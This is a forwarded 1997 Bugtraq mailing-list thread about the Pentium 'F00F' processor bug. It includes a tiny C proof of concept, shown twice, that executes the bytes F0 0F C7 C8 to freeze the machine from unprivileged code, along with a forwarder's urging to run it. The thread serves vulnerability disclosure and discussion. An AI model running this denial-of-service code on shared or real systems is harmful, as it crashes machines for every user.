The letter that my friends (tledbett@servtech.com and bhoward@servtech.com
) gave me that is attached. This is the new bug:
------- cut -----------
char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
main ()
{
void (*f)() = x;
f();
}
----- cut -------------
^--- Compile it and run it.
Can it be fixed?
This is very bad for intel! Is this maybe why thay bought the Alpha?
Sorry didn;t format this well thought it more importate that the info
got out quick. I DON'T KNOW ANYTHING ABOUT INTEL CHIPSET PLEASE DON'T
ASK ME ANYTHING TECHINAL! Just compile it and run it. ( Don't be running
anything critical! )
-----Original Message-----
From: whiz [SMTP:whizpig@TIR.COM]
Sent: Friday, November 07, 1997 2:40 PM
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: WARNING: Linux Intel Pentium Bug
At 09:29 AM 11/7/97 -0800, Stefan Hudson wrote: >On Fri, Nov 07, 1997 at
03:10:29AM +0000, ZombieMan wrote: >> In article
<3462ADCD.135B@noname.com>,<noname@noname.com> wrote: >> > Check this
out. If you execute F0 0F C7 C8 on a P5 it will lock the >> >machine up.
This is true for any operating system including usermode >> >Linux. It's
pretty cool. Basically, the opcodes are an invalid form of cmpxchg8b eax
with a lock prefix. Has anyone seen this before? The >> >problem doesn't
show itself for the Pentium Pro or Pentium 2. >> Cool. It also works
(sic) from V86 mode, so if you want to play around, just >> use DOS debug
under whatever DOS emulator the OS you are using provides. >> Anyone try
it on a Pentium MMX? > >Oh dear. This is very not good. Without knowing
machine level programing as well as I should, is it possible to create a
patch for the, in the Linux kernel for example? Will there be a
significant performance hit? > >This code does NOT affect Cyrix 6x86
(166+ specifically, but probably all of them) processors. If you run a
multiuser, untrusted system, I suggest reserving some at your local
computer supplier... unless there is an easy fix for this, there is going
to be a run on them. I don't know if AMD's Pentium-clone chips are
vulnerable. > >[Someone Else] >> This bug looks far worse that FPIV.
Intel will probably be forced to undergo an expensive recall, although I
wonder just how Intel plans on getting the broken Pentium on my IBM
thinkpad fixed. I like to let co-workers access my machine when it is
hooked up to the network at work, and will have to now severely restrict
any such access.
>Well, it really only affects multiuser systems, where untrusted
code can
>be executed. There are so many ways to lock Windows 95 up
already, one
>more cause won't make that much of a difference, and that's the
vastmajority of Pentium users. But multiuser systems are in deep sh*t.
Does anyone know if the process accounting in Linux will log the execution
of this before it locks up the machine? I seem to remember that it
logs
>on process completion, unfortunately.
>
>And is there an NT exploit for this?
The following unpriviledged, user-mode simple C code locks up my NT 4.0
(SP3+all current hotfixes applied) workstation solid, only hard reset
helps:
char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
main ()
{
void (*f)() = x;
f();
}